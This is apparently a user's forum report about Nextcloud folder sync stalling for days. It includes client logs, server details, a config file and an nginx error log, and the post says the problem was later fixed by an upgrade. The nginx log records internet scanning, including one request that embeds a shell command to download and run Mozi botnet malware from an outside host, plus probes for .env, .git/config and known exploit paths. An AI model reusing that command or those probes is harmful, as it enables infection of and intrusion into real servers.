Folder sync takes days to start

Hi, it takes days and sometimes even weeks to get folders on my client synced. It has started to happen weeks ago. Client seems to prepare to sync (blue icon) but eventually I get yellow warning icon in the tray area and it stays like that. After few days, usually 7+ I got successull sync (green icon). However on file change in the synced folder it starts over.

Steps to replicate:

  1. Start nextcloud
  2. Change or add new file to synced folder

I believe the key is in my client app log, this log sequence appears every minute or so (click to unfold):

nextcloud --logwindow output
2021-03-05 19:31:29:188 [ info nextcloud.gui.folder.manager ]:	Etag poll timer timeout
2021-03-05 19:31:29:189 [ info nextcloud.gui.folder.manager ]:	Folders to sync: 3
2021-03-05 19:31:29:189 [ info nextcloud.gui.folder.manager ]:	Number of folders that don't use push notifications: 3
2021-03-05 19:31:29:189 [ info nextcloud.gui.folder.manager ]:	Run etag job on folder OCC::Folder(0x55c367bc6ed0)
2021-03-05 19:31:29:190 [ info nextcloud.gui.folder.manager ]:	Can not run etag job: Sync is running
2021-03-05 19:31:29:190 [ info nextcloud.gui.folder.manager ]:	Run etag job on folder OCC::Folder(0x55c367bdf110)
2021-03-05 19:31:29:190 [ info nextcloud.gui.folder.manager ]:	Can not run etag job: Folder is alreday scheduled
2021-03-05 19:31:29:190 [ info nextcloud.gui.folder.manager ]:	Run etag job on folder OCC::Folder(0x55c367bbb520)
2021-03-05 19:31:29:191 [ info nextcloud.gui.folder.manager ]:	Can not run etag job: Folder is alreday scheduled
2021-03-05 19:31:51:189 [ debug nextcloud.sync.connectionvalidator ]	[ OCC::ConnectionValidator::checkAuthentication ]:	# Check whether authenticated propfind works.
2021-03-05 19:31:51:189 [ info nextcloud.sync.accessmanager ]:	6 "PROPFIND" "https://cloud.abcd.com/remote.php/dav/files/jk/" has X-Request-ID "cdeee322-2f67-4ad1-b5ee-3f22c334b521"
2021-03-05 19:31:51:190 [ debug nextcloud.sync.cookiejar ]	[ OCC::CookieJar::cookiesForUrl ]:	QUrl("https://cloud.abcd.com/remote.php/dav/files/jk/") requests: (QNetworkCookie("oc_sessionPassphrase=xQ2M2vnLvAv6x0Et9O55g3KPbnfX61GU0SMGi0IRKAFQKlia8GqXbHxAi0t6uhZN2tbS1eSszHgvFQFlUX%2F%2BKB%2B0D16%2BnLN%2FV5gPYACmnXaArGyQhuWMM7nsJ5blBZej; secure; HttpOnly; domain=cloud.abcd.com; path=/"), QNetworkCookie("__Host-nc_sameSiteCookielax=true; secure; HttpOnly; expires=Fri, 31-Dec-2100 23:59:59 GMT; domain=cloud.abcd.com; path=/"), QNetworkCookie("__Host-nc_sameSiteCookiestrict=true; secure; HttpOnly; expires=Fri, 31-Dec-2100 23:59:59 GMT; domain=cloud.abcd.com; path=/"), QNetworkCookie("ochkihrnaoan=hst6sku9npbnn4nl9dcclnos9a; secure; HttpOnly; domain=cloud.abcd.com; path=/"))
2021-03-05 19:31:51:191 [ info nextcloud.sync.networkjob ]:	OCC::PropfindJob created for "https://cloud.abcd.com" + "/" "OCC::ConnectionValidator"
2021-03-05 19:31:51:301 [ info nextcloud.sync.credentials.webflow ]:	request finished
2021-03-05 19:31:51:302 [ info nextcloud.sync.networkjob.propfind ]:	PROPFIND of QUrl("https://cloud.abcd.com/remote.php/dav/files/jk/") FINISHED WITH STATUS "OK"
2021-03-05 19:31:51:302 [ debug nextcloud.sync.networkjob ]	[ OCC::AbstractNetworkJob::slotFinished ]:	Network job OCC::PropfindJob finished for "/"

Server:
Nextloud version: 20.0.8
Operating System: Linux 4.18.0-240.10.1.el8_3.x86_64 x86_64
PHP version: 7.4.14
nginx version: 1.14.1
CPU: Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz (6 cores)
Memory: 19.40 GB
Database Type: pgsql
Database Version: PostgreSQL 10.15 on x86_64-redhat-linux-gnu
Database Size: 320,6 MB

Client:
Running on Ubuntu 20.04.2 LTS, x86_64
Nextcloud version 3.1.3-20210218.151938.3842d306f-1.0~focal1
Using Qt 5.12.8, built against Qt 5.12.8
Using Qt platform plugin ‘xcb’
Using ‘OpenSSL 1.1.1f 31 Mar 2020’

Server output of Nextcloud log in Admin > Logging https://drive.google.com/file/d/1d7dge6jai65qhW_clS7bhmzp6HzzTMT9/view?usp=sharing

Server config.php file in `/path/to/nextcloud` (click to unfold)
<?php
$CONFIG = array (
  'instanceid' => 'foo',
  'passwordsalt' => 'bar',
  'secret' => 'fooooobaaaaar/rH/W',
  'trusted_domains' =>
  array (
    0 => 'cloud.abcd.com',
  ),
  'datadirectory' => '/srv/www/cloud.abcd.com/data',
  'dbtype' => 'pgsql',
  'version' => '20.0.8.1',
  'overwrite.cli.url' => 'https://cloud.abcd.com',
  'dbname' => 'nextcloud',
  'dbhost' => 'localhost',
  'dbport' => '',
  'dbtableprefix' => 'oc_',
  'dbuser' => 'nextcloud',
  'dbpassword' => 'foobar',
  'installed' => true,
  'maintenance' => false,
  'theme' => '',
  'loglevel' => 2,
  'encryption.legacy_format_support' => true,
  'memcache.local' => '\\OC\\Memcache\\APCu',
);
The output of /var/log/nginx/error.log (click to unfold)
2021/03/05 11:04:17 [error] 3326168#0: *8873 "/usr/share/nginx/html/solr/index.php" is not found (2: No such file or directory), client: 193.118.53.202, server: _, request: "GET /solr/ HTTP/1.1", host: "144.91.70.41"
2021/03/05 11:31:40 [error] 3326168#0: *9045 open() "/usr/share/nginx/html/0bef" failed (2: No such file or directory), client: 172.105.89.161, server: _, request: "GET /0bef HTTP/1.0"
2021/03/05 12:28:39 [error] 3326168#0: *9500 open() "/usr/share/nginx/html/shell" failed (2: No such file or directory), client: 14.80.204.79, server: _, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+http://14.80.204.79:49606/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 12:44:07 [crit] 3326168#0: *9617 SSL_do_handshake() failed (SSL: error:14209102:SSL routines:tls_early_post_process_client_hello:unsupported protocol) while SSL handshaking, client: 104.152.52.38, server: 0.0.0.0:443
2021/03/05 14:29:44 [error] 3326168#0: *10593 open() "/usr/share/nginx/html/config/getuser" failed (2: No such file or directory), client: 205.185.122.102, server: _, request: "GET /config/getuser?index=0 HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 15:37:14 [error] 3326168#0: *11031 open() "/usr/share/nginx/html/manager/text/list" failed (2: No such file or directory), client: 192.241.226.178, server: _, request: "GET /manager/text/list HTTP/1.1", host: "144.91.70.41"
2021/03/05 15:45:47 [error] 3326168#0: *11067 open() "/usr/share/nginx/html/.env" failed (2: No such file or directory), client: 51.255.3.45, server: _, request: "GET /.env HTTP/1.1", host: "144.91.70.41"
2021/03/05 15:45:53 [error] 3326168#0: *11069 access forbidden by rule, client: 51.255.3.45, server: cloud.simorda.cz, request: "GET /.env HTTP/1.1", host: "144.91.70.41"
2021/03/05 16:33:53 [error] 3326168#0: *12527 open() "/usr/share/nginx/html/GponForm/diag_Form" failed (2: No such file or directory), client: 178.175.95.71, server: _, request: "POST /GponForm/diag_Form?images/ HTTP/1.1", host: "127.0.0.1:80"
2021/03/05 17:37:03 [error] 3326168#0: *12666 open() "/usr/share/nginx/html/manager/html" failed (2: No such file or directory), client: 192.241.223.186, server: _, request: "GET /manager/html HTTP/1.1", host: "144.91.70.41"
2021/03/05 17:53:02 [error] 3326168#0: *12700 open() "/usr/share/nginx/html/.env" failed (2: No such file or directory), client: 3.84.16.207, server: _, request: "GET /.env HTTP/1.1", host: "144.91.70.41"
2021/03/05 17:53:03 [error] 3326168#0: *12702 access forbidden by rule, client: 3.84.16.207, server: cloud.simorda.cz, request: "GET /.env HTTP/1.1", host: "144.91.70.41"
2021/03/05 18:05:12 [error] 3326168#0: *12733 open() "/usr/share/nginx/html/solr/admin/info/system" failed (2: No such file or directory), client: 45.155.205.225, server: _, request: "GET /solr/admin/info/system?wt=json HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 18:05:12 [error] 3326168#0: *12734 open() "/usr/share/nginx/html/api/jsonws/invoke" failed (2: No such file or directory), client: 45.155.205.225, server: _, request: "POST /api/jsonws/invoke HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 18:05:12 [error] 3326168#0: *12735 "/usr/share/nginx/html/console/index.php" is not found (2: No such file or directory), client: 45.155.205.225, server: _, request: "GET /console/ HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 18:05:13 [error] 3326168#0: *12738 open() "/usr/share/nginx/html/Autodiscover/Autodiscover.xml" failed (2: No such file or directory), client: 45.155.205.225, server: _, request: "POST /Autodiscover/Autodiscover.xml HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 18:05:13 [error] 3326168#0: *12741 open() "/usr/share/nginx/html/wp-content/plugins/wp-file-manager/readme.txt" failed (2: No such file or directory), client: 45.155.205.225, server: _, request: "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 18:05:13 [error] 3326168#0: *12742 open() "/usr/share/nginx/html/_ignition/execute-solution" failed (2: No such file or directory), client: 45.155.205.225, server: _, request: "GET /_ignition/execute-solution HTTP/1.1", host: "144.91.70.41:80"
2021/03/05 21:53:05 [error] 3326168#0: *19134 access forbidden by rule, client: 92.43.30.2, server: cloud.simorda.cz, request: "GET /data/.ocdata?t=1614977585628 HTTP/2.0", host: "cloud.simorda.cz"
2021/03/05 22:17:26 [error] 3326168#0: *21034 open() "/usr/share/nginx/html/.git/config" failed (2: No such file or directory), client: 104.131.48.252, server: _, request: "GET /.git/config HTTP/1.1", host: "692476816"

I hope somebody is able to provide some hints as it renders sync unusable.

Thank you in advance!!

Update…

Issue has been resolved with the update to version 21.0.0

Root cause is not known.